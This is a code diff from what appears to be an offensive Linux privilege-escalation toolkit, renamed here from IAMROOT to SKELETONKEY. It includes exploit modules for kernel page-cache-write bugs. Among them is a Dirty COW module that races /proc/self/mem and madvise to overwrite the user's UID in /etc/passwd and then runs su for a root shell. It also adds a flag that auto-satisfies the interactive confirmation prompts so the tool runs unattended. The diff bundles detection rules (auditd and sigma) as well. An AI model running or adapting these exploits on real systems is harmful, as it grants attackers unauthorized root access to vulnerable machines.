||||||
"id: 4d8e6c2a-iamroot-copy-fail-family\n"
|
"id: 4d8e6c2a-skeletonkey-copy-fail-family\n"
|
||||||
"status: experimental\n"
|
"status: experimental\n"
|
||||||
"description: |\n"
|
"description: |\n"
|
||||||
" Detects the file-modification footprint of Copy Fail (CVE-2026-31431) and\n"
|
" Detects the file-modification footprint of Copy Fail (CVE-2026-31431) and\n"
|
||||||
@@ -127,7 +157,7 @@ static const char copy_fail_family_sigma[] =
|
|||||||
"level: high\n"
|
"level: high\n"
|
||||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31431, cve.2026.43284, cve.2026.43500]\n";
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31431, cve.2026.43284, cve.2026.43500]\n";
|
||||||
|
|
||||||
const struct iamroot_module copy_fail_module = {
|
const struct skeletonkey_module copy_fail_module = {
|
||||||
.name = "copy_fail",
|
.name = "copy_fail",
|
||||||
.cve = "CVE-2026-31431",
|
.cve = "CVE-2026-31431",
|
||||||
.summary = "algif_aead authencesn page-cache write → /etc/passwd UID flip",
|
.summary = "algif_aead authencesn page-cache write → /etc/passwd UID flip",
|
||||||
@@ -145,19 +175,21 @@ const struct iamroot_module copy_fail_module = {
|
|||||||
|
|
||||||
/* ----- copy_fail_gcm (variant, no CVE) ----- */
|
/* ----- copy_fail_gcm (variant, no CVE) ----- */
|
||||||
|
|
||||||
static iamroot_result_t copy_fail_gcm_detect_wrap(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t copy_fail_gcm_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
return (iamroot_result_t)copyfail_gcm_detect();
|
skeletonkey_result_t pre = cff_check_userns("copy_fail_gcm", ctx);
|
||||||
|
if (pre != SKELETONKEY_OK) return pre;
|
||||||
|
return (skeletonkey_result_t)copyfail_gcm_detect();
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t copy_fail_gcm_exploit_wrap(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t copy_fail_gcm_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
return (iamroot_result_t)copyfail_gcm_exploit(!ctx->no_shell);
|
return (skeletonkey_result_t)copyfail_gcm_exploit(!ctx->no_shell);
|
||||||
}
|
}
|
||||||
|
|
||||||
const struct iamroot_module copy_fail_gcm_module = {
|
const struct skeletonkey_module copy_fail_gcm_module = {
|
||||||
.name = "copy_fail_gcm",
|
.name = "copy_fail_gcm",
|
||||||
.cve = "VARIANT",
|
.cve = "VARIANT",
|
||||||
.summary = "rfc4106(gcm(aes)) single-byte page-cache write (Copy Fail sibling)",
|
.summary = "rfc4106(gcm(aes)) single-byte page-cache write (Copy Fail sibling)",
|
||||||
@@ -175,19 +207,21 @@ const struct iamroot_module copy_fail_gcm_module = {
|
|||||||
|
|
||||||
/* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */
|
/* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */
|
||||||
|
|
||||||
static iamroot_result_t dirty_frag_esp_detect_wrap(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t dirty_frag_esp_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
return (iamroot_result_t)dirtyfrag_esp_detect();
|
skeletonkey_result_t pre = cff_check_userns("dirty_frag_esp", ctx);
|
||||||
|
if (pre != SKELETONKEY_OK) return pre;
|
||||||
|
return (skeletonkey_result_t)dirtyfrag_esp_detect();
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t dirty_frag_esp_exploit_wrap(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t dirty_frag_esp_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
return (iamroot_result_t)dirtyfrag_esp_exploit(!ctx->no_shell);
|
return (skeletonkey_result_t)dirtyfrag_esp_exploit(!ctx->no_shell);
|
||||||
}
|
}
|
||||||
|
|
||||||
const struct iamroot_module dirty_frag_esp_module = {
|
const struct skeletonkey_module dirty_frag_esp_module = {
|
||||||
.name = "dirty_frag_esp",
|
.name = "dirty_frag_esp",
|
||||||
.cve = "CVE-2026-43284",
|
.cve = "CVE-2026-43284",
|
||||||
.summary = "IPv4 xfrm-ESP page-cache write (Dirty Frag v4)",
|
.summary = "IPv4 xfrm-ESP page-cache write (Dirty Frag v4)",
|
||||||
@@ -205,19 +239,21 @@ const struct iamroot_module dirty_frag_esp_module = {
|
|||||||
|
|
||||||
/* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */
|
/* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */
|
||||||
|
|
||||||
static iamroot_result_t dirty_frag_esp6_detect_wrap(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t dirty_frag_esp6_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
return (iamroot_result_t)dirtyfrag_esp6_detect();
|
skeletonkey_result_t pre = cff_check_userns("dirty_frag_esp6", ctx);
|
||||||
|
if (pre != SKELETONKEY_OK) return pre;
|
||||||
|
return (skeletonkey_result_t)dirtyfrag_esp6_detect();
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t dirty_frag_esp6_exploit_wrap(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t dirty_frag_esp6_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
return (iamroot_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell);
|
return (skeletonkey_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell);
|
||||||
}
|
}
|
||||||
|
|
||||||
const struct iamroot_module dirty_frag_esp6_module = {
|
const struct skeletonkey_module dirty_frag_esp6_module = {
|
||||||
.name = "dirty_frag_esp6",
|
.name = "dirty_frag_esp6",
|
||||||
.cve = "CVE-2026-43284",
|
.cve = "CVE-2026-43284",
|
||||||
.summary = "IPv6 xfrm-ESP page-cache write (Dirty Frag v6)",
|
.summary = "IPv6 xfrm-ESP page-cache write (Dirty Frag v6)",
|
||||||
@@ -235,19 +271,21 @@ const struct iamroot_module dirty_frag_esp6_module = {
|
|||||||
|
|
||||||
/* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */
|
/* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */
|
||||||
|
|
||||||
static iamroot_result_t dirty_frag_rxrpc_detect_wrap(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t dirty_frag_rxrpc_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
return (iamroot_result_t)dirtyfrag_rxrpc_detect();
|
skeletonkey_result_t pre = cff_check_userns("dirty_frag_rxrpc", ctx);
|
||||||
|
if (pre != SKELETONKEY_OK) return pre;
|
||||||
|
return (skeletonkey_result_t)dirtyfrag_rxrpc_detect();
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t dirty_frag_rxrpc_exploit_wrap(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t dirty_frag_rxrpc_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
return (iamroot_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell);
|
return (skeletonkey_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell);
|
||||||
}
|
}
|
||||||
|
|
||||||
const struct iamroot_module dirty_frag_rxrpc_module = {
|
const struct skeletonkey_module dirty_frag_rxrpc_module = {
|
||||||
.name = "dirty_frag_rxrpc",
|
.name = "dirty_frag_rxrpc",
|
||||||
.cve = "CVE-2026-43500",
|
.cve = "CVE-2026-43500",
|
||||||
.summary = "AF_RXRPC handshake forgery + page-cache write (Dirty Frag RxRPC)",
|
.summary = "AF_RXRPC handshake forgery + page-cache write (Dirty Frag RxRPC)",
|
||||||
@@ -265,11 +303,11 @@ const struct iamroot_module dirty_frag_rxrpc_module = {
|
|||||||
|
|
||||||
/* ----- Family registration ----- */
|
/* ----- Family registration ----- */
|
||||||
|
|
||||||
void iamroot_register_copy_fail_family(void)
|
void skeletonkey_register_copy_fail_family(void)
|
||||||
{
|
{
|
||||||
iamroot_register(©_fail_module);
|
skeletonkey_register(©_fail_module);
|
||||||
iamroot_register(©_fail_gcm_module);
|
skeletonkey_register(©_fail_gcm_module);
|
||||||
iamroot_register(&dirty_frag_esp_module);
|
skeletonkey_register(&dirty_frag_esp_module);
|
||||||
iamroot_register(&dirty_frag_esp6_module);
|
skeletonkey_register(&dirty_frag_esp6_module);
|
||||||
iamroot_register(&dirty_frag_rxrpc_module);
|
skeletonkey_register(&dirty_frag_rxrpc_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
/*
|
||||||
|
* copy_fail_family — SKELETONKEY module registry hooks
|
||||||
|
*
|
||||||
|
* The family currently contains five skeletonkey_module entries:
|
||||||
|
*
|
||||||
|
* - copy_fail (CVE-2026-31431, algif_aead authencesn)
|
||||||
|
* - copy_fail_gcm (no CVE, rfc4106(gcm(aes)) variant)
|
||||||
|
* - dirty_frag_esp (CVE-2026-43284 v4)
|
||||||
|
* - dirty_frag_esp6 (CVE-2026-43284 v6)
|
||||||
|
* - dirty_frag_rxrpc (CVE-2026-43500)
|
||||||
|
*
|
||||||
|
* Defined in skeletonkey_modules.c, registered into the global registry
|
||||||
|
* by skeletonkey_register_copy_fail_family() (declared in
|
||||||
|
* core/registry.h).
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
|
||||||
|
#define COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module copy_fail_module;
|
||||||
|
extern const struct skeletonkey_module copy_fail_gcm_module;
|
||||||
|
extern const struct skeletonkey_module dirty_frag_esp_module;
|
||||||
|
extern const struct skeletonkey_module dirty_frag_esp6_module;
|
||||||
|
extern const struct skeletonkey_module dirty_frag_rxrpc_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -31,6 +31,7 @@ bool dirtyfail_use_color = true;
|
|||||||
bool dirtyfail_active_probes = false;
|
bool dirtyfail_active_probes = false;
|
||||||
bool dirtyfail_no_revert = false;
|
bool dirtyfail_no_revert = false;
|
||||||
bool dirtyfail_json = false;
|
bool dirtyfail_json = false;
|
||||||
|
bool dirtyfail_assume_yes = false;
|
||||||
|
|
||||||
static void vlog(FILE *out, const char *prefix, const char *color,
|
static void vlog(FILE *out, const char *prefix, const char *color,
|
||||||
const char *fmt, va_list ap)
|
const char *fmt, va_list ap)
|
||||||
@@ -226,6 +227,19 @@ size_t build_authenc_keyblob(unsigned char *out,
|
|||||||
|
|
||||||
bool typed_confirm(const char *expected)
|
bool typed_confirm(const char *expected)
|
||||||
{
|
{
|
||||||
|
/* When the caller has already cleared an explicit authorization gate
|
||||||
|
* (SKELETONKEY's --i-know, forwarded via dirtyfail_assume_yes), the
|
||||||
|
* DIRTYFAIL typed prompt is redundant and would deadlock non-interactive
|
||||||
|
* runs like `skeletonkey --auto --i-know`. Auto-satisfy it.
|
||||||
|
*
|
||||||
|
* The SSH self-lockout guard (YES_BREAK_SSH) is deliberately exempt:
|
||||||
|
* it protects the operator's own access rather than gating
|
||||||
|
* authorization, so it always requires an interactive answer. */
|
||||||
|
if (dirtyfail_assume_yes && strcmp(expected, "YES_BREAK_SSH") != 0) {
|
||||||
|
log_step("confirmation gate '%s' auto-satisfied (--i-know)", expected);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
char buf[128];
|
char buf[128];
|
||||||
printf(" Type \033[1;33m%s\033[0m and press enter to proceed: ", expected);
|
printf(" Type \033[1;33m%s\033[0m and press enter to proceed: ", expected);
|
||||||
fflush(stdout);
|
fflush(stdout);
|
||||||
|
|||||||
@@ -86,6 +86,14 @@ extern bool dirtyfail_no_revert;
|
|||||||
* is redirected to stderr. Set by --json. */
|
* is redirected to stderr. Set by --json. */
|
||||||
extern bool dirtyfail_json;
|
extern bool dirtyfail_json;
|
||||||
|
|
||||||
|
/* When true, typed_confirm() auto-satisfies its gate instead of reading
|
||||||
|
* stdin — the caller has already cleared an explicit authorization gate.
|
||||||
|
* SKELETONKEY's bridge layer sets this from skeletonkey_ctx.authorized
|
||||||
|
* (i.e. the --i-know flag) so non-interactive runs like
|
||||||
|
* `skeletonkey --auto --i-know` don't deadlock on the DIRTYFAIL prompt.
|
||||||
|
* The YES_BREAK_SSH self-lockout guard is exempt — see typed_confirm(). */
|
||||||
|
extern bool dirtyfail_assume_yes;
|
||||||
|
|
||||||
void log_step (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
void log_step (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
||||||
void log_ok (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
void log_ok (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
||||||
void log_bad (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
void log_bad (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
||||||
|
|||||||
@@ -0,0 +1,25 @@
|
|||||||
|
# NOTICE — dirty_cow (CVE-2016-5195)
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2016-5195** — Copy-on-write race via `/proc/self/mem` + `madvise`
|
||||||
|
→ arbitrary file write into the page cache.
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
Discovered by **Phil Oester**, October 2016. The bug had been latent in
|
||||||
|
the kernel since ~2007.
|
||||||
|
|
||||||
|
Original advisory: <https://dirtycow.ninja/>
|
||||||
|
Upstream fix: mainline 4.9 (commit `19be0eaffa3a`, Oct 2016).
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
Two-thread Phil-Oester-style race: writer thread via
|
||||||
|
`/proc/self/mem` vs. madvise(MADV_DONTNEED) thread. Targets the
|
||||||
|
`/etc/passwd` UID field flip + `su` for the root shell. Useful for
|
||||||
|
**old systems coverage** — RHEL 6/7 (3.10 baseline), Ubuntu 14.04
|
||||||
|
(3.13), Ubuntu 16.04 (4.4), embedded boxes, IoT.
|
||||||
|
|
||||||
|
Ships auditd watch on `/proc/self/mem` and a sigma rule for non-root
|
||||||
|
mem-open patterns.
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
/*
|
|
||||||
* dirty_cow_cve_2016_5195 — IAMROOT module registry hook
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef DIRTY_COW_IAMROOT_MODULES_H
|
|
||||||
#define DIRTY_COW_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module dirty_cow_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+76
-36
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* dirty_cow_cve_2016_5195 — IAMROOT module
|
* dirty_cow_cve_2016_5195 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* The iconic CVE-2016-5195. COW race in get_user_pages() / fault
|
* The iconic CVE-2016-5195. COW race in get_user_pages() / fault
|
||||||
* handling: a thread writing to /proc/self/mem races a thread calling
|
* handling: a thread writing to /proc/self/mem races a thread calling
|
||||||
@@ -41,17 +41,21 @@
|
|||||||
* - execve(su) → shell with uid=0
|
* - execve(su) → shell with uid=0
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <stdint.h>
|
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <stdatomic.h>
|
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdatomic.h>
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
#include <pwd.h>
|
#include <pwd.h>
|
||||||
@@ -224,49 +228,57 @@ static void revert_passwd_page_cache(void)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- iamroot interface ---- */
|
/* ---- skeletonkey interface ---- */
|
||||||
|
|
||||||
static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
/* Consult the shared host fingerprint instead of calling
|
||||||
if (!kernel_version_current(&v)) {
|
* kernel_version_current() ourselves — populated once at startup
|
||||||
fprintf(stderr, "[!] dirty_cow: could not parse kernel version\n");
|
* and identical across every module's detect(). */
|
||||||
return IAMROOT_TEST_ERROR;
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] dirty_cow: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&dirty_cow_range, &v);
|
bool patched = kernel_range_is_patched(&dirty_cow_range, v);
|
||||||
if (patched) {
|
if (patched) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v->release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n",
|
fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n",
|
||||||
v.release);
|
v->release);
|
||||||
fprintf(stderr, "[i] dirty_cow: --exploit will race a write to "
|
fprintf(stderr, "[i] dirty_cow: --exploit will race a write to "
|
||||||
"/etc/passwd via /proc/self/mem\n");
|
"/etc/passwd via /proc/self/mem\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
iamroot_result_t pre = dirty_cow_detect(ctx);
|
skeletonkey_result_t pre = dirty_cow_detect(ctx);
|
||||||
if (pre != IAMROOT_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] dirty_cow: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] dirty_cow: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (geteuid() == 0) {
|
/* Consult ctx->host->is_root so unit tests can construct a
|
||||||
|
* non-root fingerprint regardless of the test process's real euid. */
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n");
|
fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n");
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
struct passwd *pw = getpwuid(geteuid());
|
struct passwd *pw = getpwuid(geteuid());
|
||||||
if (!pw) {
|
if (!pw) {
|
||||||
fprintf(stderr, "[-] dirty_cow: getpwuid failed: %s\n", strerror(errno));
|
fprintf(stderr, "[-] dirty_cow: getpwuid failed: %s\n", strerror(errno));
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
off_t uid_off;
|
off_t uid_off;
|
||||||
@@ -275,7 +287,7 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
|
|||||||
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
|
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
|
||||||
fprintf(stderr, "[-] dirty_cow: could not locate '%s' UID field in /etc/passwd\n",
|
fprintf(stderr, "[-] dirty_cow: could not locate '%s' UID field in /etc/passwd\n",
|
||||||
pw->pw_name);
|
pw->pw_name);
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] dirty_cow: user '%s' UID '%s' at offset %lld (len %zu)\n",
|
fprintf(stderr, "[*] dirty_cow: user '%s' UID '%s' at offset %lld (len %zu)\n",
|
||||||
@@ -292,12 +304,12 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
|
|||||||
}
|
}
|
||||||
if (dirty_cow_write(uid_off, replacement, uid_len) < 0) {
|
if (dirty_cow_write(uid_off, replacement, uid_len) < 0) {
|
||||||
fprintf(stderr, "[-] dirty_cow: race did not win within timeout\n");
|
fprintf(stderr, "[-] dirty_cow: race did not win within timeout\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (ctx->no_shell) {
|
if (ctx->no_shell) {
|
||||||
fprintf(stderr, "[+] dirty_cow: --no-shell — patch landed; not spawning su\n");
|
fprintf(stderr, "[+] dirty_cow: --no-shell — patch landed; not spawning su\n");
|
||||||
return IAMROOT_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
fprintf(stderr, "[+] dirty_cow: race won; spawning su to claim root\n");
|
fprintf(stderr, "[+] dirty_cow: race won; spawning su to claim root\n");
|
||||||
@@ -305,19 +317,47 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
|
|||||||
execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL);
|
execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL);
|
||||||
perror("execlp(su)");
|
perror("execlp(su)");
|
||||||
revert_passwd_page_cache();
|
revert_passwd_page_cache();
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t dirty_cow_cleanup(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] dirty_cow: evicting /etc/passwd from page cache\n");
|
fprintf(stderr, "[*] dirty_cow: evicting /etc/passwd from page cache\n");
|
||||||
}
|
}
|
||||||
revert_passwd_page_cache();
|
revert_passwd_page_cache();
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
/* Non-Linux dev builds: the Dirty COW primitive (writer thread via
|
||||||
|
* /proc/self/mem + madvise(MADV_DONTNEED)) is Linux-only kernel
|
||||||
|
* surface. Stub out cleanly so the module still registers and
|
||||||
|
* `--list` / `--detect-rules` work on macOS/BSD dev boxes — and so
|
||||||
|
* the top-level `make` actually completes there. */
|
||||||
|
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] dirty_cow: Linux-only module "
|
||||||
|
"(/proc/self/mem + madvise race) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] dirty_cow: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
/* ---- Embedded detection rules ---- */
|
/* ---- Embedded detection rules ---- */
|
||||||
|
|
||||||
static const char dirty_cow_auditd[] =
|
static const char dirty_cow_auditd[] =
|
||||||
@@ -325,14 +365,14 @@ static const char dirty_cow_auditd[] =
|
|||||||
"# Flag opens of /proc/self/mem from non-root (the exploit's primitive).\n"
|
"# Flag opens of /proc/self/mem from non-root (the exploit's primitive).\n"
|
||||||
"# False-positive surface: debuggers, gdb, strace — all legit users of\n"
|
"# False-positive surface: debuggers, gdb, strace — all legit users of\n"
|
||||||
"# /proc/self/mem. Combine with the file watches below to triangulate.\n"
|
"# /proc/self/mem. Combine with the file watches below to triangulate.\n"
|
||||||
"-w /proc/self/mem -p wa -k iamroot-dirty-cow\n"
|
"-w /proc/self/mem -p wa -k skeletonkey-dirty-cow\n"
|
||||||
"-w /etc/passwd -p wa -k iamroot-dirty-cow\n"
|
"-w /etc/passwd -p wa -k skeletonkey-dirty-cow\n"
|
||||||
"-w /etc/shadow -p wa -k iamroot-dirty-cow\n"
|
"-w /etc/shadow -p wa -k skeletonkey-dirty-cow\n"
|
||||||
"-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k iamroot-dirty-cow-madv\n";
|
"-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k skeletonkey-dirty-cow-madv\n";
|
||||||
|
|
||||||
static const char dirty_cow_sigma[] =
|
static const char dirty_cow_sigma[] =
|
||||||
"title: Possible Dirty COW exploitation (CVE-2016-5195)\n"
|
"title: Possible Dirty COW exploitation (CVE-2016-5195)\n"
|
||||||
"id: 1e2c5d8f-iamroot-dirty-cow\n"
|
"id: 1e2c5d8f-skeletonkey-dirty-cow\n"
|
||||||
"status: experimental\n"
|
"status: experimental\n"
|
||||||
"description: |\n"
|
"description: |\n"
|
||||||
" Detects opens of /proc/self/mem followed by madvise(MADV_DONTNEED)\n"
|
" Detects opens of /proc/self/mem followed by madvise(MADV_DONTNEED)\n"
|
||||||
@@ -350,7 +390,7 @@ static const char dirty_cow_sigma[] =
|
|||||||
"level: high\n"
|
"level: high\n"
|
||||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n";
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n";
|
||||||
|
|
||||||
const struct iamroot_module dirty_cow_module = {
|
const struct skeletonkey_module dirty_cow_module = {
|
||||||
.name = "dirty_cow",
|
.name = "dirty_cow",
|
||||||
.cve = "CVE-2016-5195",
|
.cve = "CVE-2016-5195",
|
||||||
.summary = "COW race via /proc/self/mem + madvise → page-cache write (the iconic 2016 LPE)",
|
.summary = "COW race via /proc/self/mem + madvise → page-cache write (the iconic 2016 LPE)",
|
||||||
@@ -366,7 +406,7 @@ const struct iamroot_module dirty_cow_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_dirty_cow(void)
|
void skeletonkey_register_dirty_cow(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&dirty_cow_module);
|
skeletonkey_register(&dirty_cow_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* dirty_cow_cve_2016_5195 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef DIRTY_COW_SKELETONKEY_MODULES_H
|
||||||
|
#define DIRTY_COW_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module dirty_cow_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -25,7 +25,7 @@ by them.
|
|||||||
|
|
||||||
Even in 2026, many production deployments still run vulnerable
|
Even in 2026, many production deployments still run vulnerable
|
||||||
kernels (RHEL 7/8, older Ubuntu LTS, embedded). Bundling Dirty Pipe
|
kernels (RHEL 7/8, older Ubuntu LTS, embedded). Bundling Dirty Pipe
|
||||||
makes IAMROOT useful as a "historical sweep" tool on long-tail
|
makes SKELETONKEY useful as a "historical sweep" tool on long-tail
|
||||||
systems.
|
systems.
|
||||||
|
|
||||||
## Implementation plan
